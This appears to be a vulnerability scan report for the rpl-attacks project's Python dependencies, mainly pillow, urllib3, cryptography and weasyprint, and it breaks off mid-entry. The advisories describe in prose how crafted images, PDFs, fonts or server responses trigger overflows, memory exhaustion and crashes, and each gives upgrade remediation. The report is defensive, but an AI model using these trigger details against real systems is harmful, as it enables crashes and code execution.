Vulnerabilities |
102 via 197 paths |
|---|---|
Dependencies |
63 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.
Notes:
This is only exploitable if the color_cache_bits value defines which size to use.
This vulnerability was also published on libwebp CVE-2023-5129
Changelog:
2023-09-12: Initial advisory publication
2023-09-27: Advisory details updated, including CVSS, references
2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863
2023-09-28: Research and addition of additional affected libraries
2024-01-28: Additional fix information
Remediation
Upgrade Pillow to version 10.0.1 or higher.
References
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via ImagingJpegDecode in src/libImaging/JpegDecode.c when processing a JPEG file whose header declares scanlines wider or with more components than the tile extents used to size the scanline buffer. Because the buffer is sized from tile extents rather than the JPEG header, libjpeg can write beyond the allocated buffer, allowing an attacker who supplies a malicious JPEG image to achieve a heap buffer overflow with potential for arbitrary code execution.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via _tiffWriteProc in src/libImaging/TiffDecode.c when saving a TIFF image to a BytesIO object. The buffer size calculation uses state->size instead of the current write location (state->loc) when determining whether reallocation is needed, so when libtiff seeks past the end of the allocated buffer (for example, when writing the TIFF directory), the computed to_write value becomes negative and the subsequent _TIFFmemcpy writes beyond the allocated heap region. An attacker who can supply an image that is saved as a TIFF to an in-memory buffer can trigger the overflow, achieving arbitrary heap corruption with potential for remote code execution.
Note: Exploitation requires that an attacker-controlled out-of-line tag value (such as ImageDescription, DocumentName, XMP, or an embedded ICC profile) reaches libtiff during the save operation, and that the application saves the result into a non-file object such as BytesIO.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the JPEG decoder in src/libImaging/JpegDecode.c when processing a JPEG stream whose declared output width or component count exceeds the dimensions used to size the scanline buffer. Because the buffer is sized from tile extents rather than the JPEG header, a JPEG stream with wider scanlines or more components than expected causes a write beyond the allocated buffer, allowing an attacker to achieve arbitrary code execution by supplying a malicious image file.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
critical severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the FlashPix JPEG tile decoding spanning src/PIL/FpxImagePlugin.py and src/libImaging/JpegDecode.c, where the tile buffer is sized from the rawmode that the MODES table selects from the FPX color IDs, while rawmodes such as LA and YCC;P are unrecognized in the colorspace mapping and fall through to setting jpeg_color_space and out_color_space to JCS_UNKNOWN, under which libjpeg applies no conversion and emits cinfo.num_components bytes per pixel taken from the embedded SOF marker. An attacker can write past the allocation with controlled length and contents, and reach code execution, by having an application open a single file with Image.open whose color IDs select a two byte per pixel rawmode while the embedded JPEG declares four components, so jpeg_read_scanlines writes 4 * width bytes per row into a buffer allocated for 2 * width. Reaching the decoder requires the optional olefile dependency to be installed, which is what enables FPX support, and files are identified by the OLE2 magic rather than by extension, so any service that opens or thumbnails untrusted uploads is exposed without user interaction, while turning the overflow into execution depends on heap layout and on interpreter specifics such as a non-PIE binary with known offsets.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.
Workaround
This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via HTTPResponse._update_chunk_length() in response.py, where the chunk-size line in a chunked transfer-encoded response is read with an unbounded readline() call. A malicious server can send a Transfer-Encoding: chunked response followed by an unterminated chunk-size line of arbitrary length, forcing the client to buffer the entire run in memory before the read can be rejected, causing memory exhaustion.
Note: This is only exploitable when the client connects to a malicious or compromised server, and applies only to the chunk-size line read, not to chunk body data.
Remediation
Upgrade urllib3 to version 2.8.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.
Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.
Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.
Workaround
This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.
Remediation
Upgrade urllib3 to version 2.6.3 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Function Call With Incorrect Argument Type via insufficient validation of TIFF tag values before passing them to TIFFSetField in the libtiff encoder. When saving a TIFF image, tag values supplied by the caller are forwarded to TIFFSetField without verifying that their type, count, or array length matches libtiff's own field definition for that tag. An attacker who can influence the TIFF tags written during a save operation can trigger an out-of-bounds read or a crash, leading to information disclosure or denial of service.
Remediation
Upgrade Pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the TIFF image encoder in TiffImagePlugin.py and src/encode.c, where the ColorMap length is not validated against the BitsPerSample tag value. Prior to the fix, the encoder hardcoded a requirement of 768 entries (suitable only for 8-bit images) and did not enforce the correct length of (1 << BitsPerSample) * 3 entries for other bit depths. An attacker can supply a TIFF image with a mismatched ColorMap length relative to BitsPerSample, triggering a crash in the encoder and causing a denial of service. Additionally, the low-confidentiality impact reflects potential out-of-bounds read exposure from the incorrectly sized colormap buffer.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write in the ImageFilter.RankFilter process when a very large odd filter size is provided, leading to unchecked signed integer arithmetic in ImagingExpand. An attacker can cause a heap out-of-bounds write by supplying crafted input to the filter size parameter.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@49.0.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the build_chain_inner function. An attacker can cause excessive resource consumption by submitting a certificate chain containing duplicate self-signed intermediates, which leads to exponential path-building and significant delays in certificate validation.
Remediation
Upgrade cryptography to version 49.0.0 or higher.
References
high severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@48.0.1.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read in the ASN.1 decoder. An attacker can crash the application or cause memory beyond the end of the input buffer to be loaded into the decoded ASN.1 object, by supplying very large input data. Applications that pass untrusted input to d2i_X509(), d2i_PKCS7(), or other d2i_* functions are affected. OpenSSL command line tools are not.
Note: Only 64-bit Unix-like systems are vulnerable.
Remediation
Upgrade cryptography to version 48.0.1 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the decode function of PdfStream in PdfParser, where zlib decompression is performed without limiting the output size. An attacker can cause excessive memory consumption by submitting a specially crafted PDF file with a maliciously large Length field.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in GifImagePlugin._seek when processing a multi-frame GIF image. The decompression bomb check calls Image._decompression_bomb_check but, prior to the fix, assigns the oversized dimensions to self._size before the check raises an exception. This means a failed decompression bomb check still permanently updates the image size, allowing an attacker to bypass the decompression bomb protection and cause a crash via a GIF image whose frame dimensions exceed the configured pixel limit.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
new
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via ImageFileDirectory_v2.load() in src/PIL/TiffImagePlugin.py, which reads the out-of-line value of every IFD entry into a separate bytes object stored in _tagdata without bounding the cumulative total across entries. An attacker can supply a TIFF, JPEG, PNG, WebP, or MPO file whose IFD entries each declare an offset and count that covers the entire file body, causing memory consumption proportional to N × file size - quadratic in the file size - because nothing prevents every entry from aliasing the same bytes. A 144 KB TIFF with 12,000 such entries causes Image.open() to retain 1.6 GiB of tag data with no exception or warning, since the image declares a 1×1 pixel size and the decompression-bomb check is never triggered. The same parser is reached from getexif() and ImageOps.exif_transpose() for PNG, JPEG, WebP, and MPO, and from Image.open() directly for TIFF and JPEG (via _read_dpi_from_exif()), so no additional API call is required to trigger the allocation.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the MSP image decoder in src/PIL/MspImagePlugin.py, where a malicious MSP file with run-length encoded rows can cause the decoder to expand more data than the image width requires. An attacker who supplies a crafted MSP image can trigger excessive memory allocation, crashing the process.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the next_object_id function in src/PIL/PdfParser.py when saving a multi-frame image as a multi-page PDF using im.save(fp, "PDF", save_all=True). The function computes the next PDF object ID by calling max() over the full set of all previously reserved object IDs on every reservation, causing CPU time to grow proportional to the square of the frame count. An attacker can trigger this quadratic behavior by supplying an image with a large declared frame count, such as an APNG whose acTL chunk declares a high num_frames value, without requiring any actual frame pixel data to be present.
Note: This is only exploitable when the caller saves with save_all=True targeting PDF output; for APNG inputs, the num_frames value from the acTL chunk is used directly and frames need not exist, subject only to the constraint that num_frames is non-zero and below 0x80000000.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop via PdfParser.rewrite_pages() in src/PIL/PdfParser.py when processing a PDF file whose /Parent chain contains a cycle. The function walks the /Parent chain of every pre-existing page upward, stopping only when it reaches a node with no /Parent entry, so a cyclic reference causes the loop to run indefinitely. An attacker who controls the bytes of a PDF passed to the append path can trigger this condition, crashing the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the PcfFontFile._load_bitmaps process. An attacker can cause excessive memory allocation by supplying crafted PCF font data that bypasses decompression bomb checks.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the FontFile.compile process. An attacker can cause excessive memory allocation by providing a specially crafted font file that triggers uncontrolled resource consumption during image conversion or saving.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the bdf_char process when attacker-controlled dimensions from a BDF font file are passed to Image.new() without invoking the _decompression_bomb_check function. An attacker can cause excessive memory allocation by supplying specially crafted font files.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the GdImageFile._open process. An attacker can cause excessive memory allocation by supplying a crafted .gd file that bypasses decompression bomb checks.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via missing decompression bomb checks in the seek() methods of DcxImagePlugin, MicImagePlugin, and MpoImagePlugin. When a multi-frame image file (DCX, MIC, or MPO format) is opened and seeked to a subsequent frame, the image dimensions are not validated against the decompression bomb threshold, allowing an attacker to trigger excessive memory allocation by supplying an image with an oversized frame. This can crash the process handling the image.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write via the apply function. An attacker can cause memory corruption and potentially crash the application by providing an output image with a mode that does not match the transform's declared output mode.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write via the apply function in src/_imagingmorph.c when a MorphOp operation is applied to an image with zero width or zero height. The missing bounds check allows an attacker to trigger a crash by supplying an empty image to the ImageMorph morphological operation.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via linearize_page_tree in src/PIL/PdfParser.py, where a PDF file containing a deeply nested page tree causes unbounded recursion that exhausts the call stack. An attacker can supply a malicious PDF with an arbitrarily deep /Pages tree hierarchy to crash the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Use After Free via ImagingScaleAffine() in src/libImaging/Geometry.c, which deletes a caller-owned output image when its lookup-table allocation fails. When _resize() calls ImagingTransform() and the internal affine transform encounters a memory allocation failure, the output image is freed both inside ImagingScaleAffine() and again by the caller, resulting in a double free that crashes the process. A remote attacker can trigger this condition by supplying an image that causes a memory allocation failure during resize operations, crashing the application.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Use of Uninitialized Resource via the TIFF strip and tile decoder in src/libImaging/TiffDecode.c, when decoding TIFF images using codecs (such as JPEG or Group 4) that successfully decode fewer rows than the declared strip or tile length. The buffer allocated for the strip or tile is not zeroed beyond the actually decoded data, so the remaining portion retains uninitialized heap memory. When Pillow copies this buffer into the output image, the uninitialized memory is exposed as pixel data in the resulting image object, potentially leaking process memory contents to an attacker who can read the decoded image.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: weasyprint
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2Remediation: Upgrade to weasyprint@70.0.
Overview
weasyprint is a The Awesome Document Factory
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via EPS image rendering in weasyprint/images.py, which invokes Ghostscript to process EPS images. An attacker who can supply a malicious EPS image to be rendered can exploit Ghostscript vulnerabilities - even when the -dSAFER option is in use - to achieve arbitrary code execution or other impacts on the host system.
Remediation
Upgrade weasyprint to version 70.0 or higher.
References
high severity
new
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write via ImagingLibTiffEncode in src/libImaging/TiffDecode.c when saving a compressed TIFF through libtiff. In TiffImagePlugin._save's libtiff branch, only BitsPerSample is pinned to the real image when the encoder tag list is built; ImageWidth, ImageLength, and PlanarConfiguration are set from the image but are then overwritten by the exif=/tiffinfo= merge loop, and SamplesPerPixel is never set for single-band modes, allowing a value from caller-supplied or source-file tags to reach TIFFSetField. ImagingLibTiffEncode then passes a row buffer sized from the actual image to TIFFWriteScanline at line 1035 with no check against TIFFScanlineSize(), so libtiff reads a full scanline of the tag-described geometry from a buffer that holds only one row of the real image, leaking heap contents - including pointers - into the saved file, or crashing the process with SIGSEGV. When the metadata also enables TIFF Predictor=2, libtiff's horizontal differencing rewrites the scanline in place before encoding, turning the over-read into an out-of-bounds heap write that corrupts the allocator and aborts the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
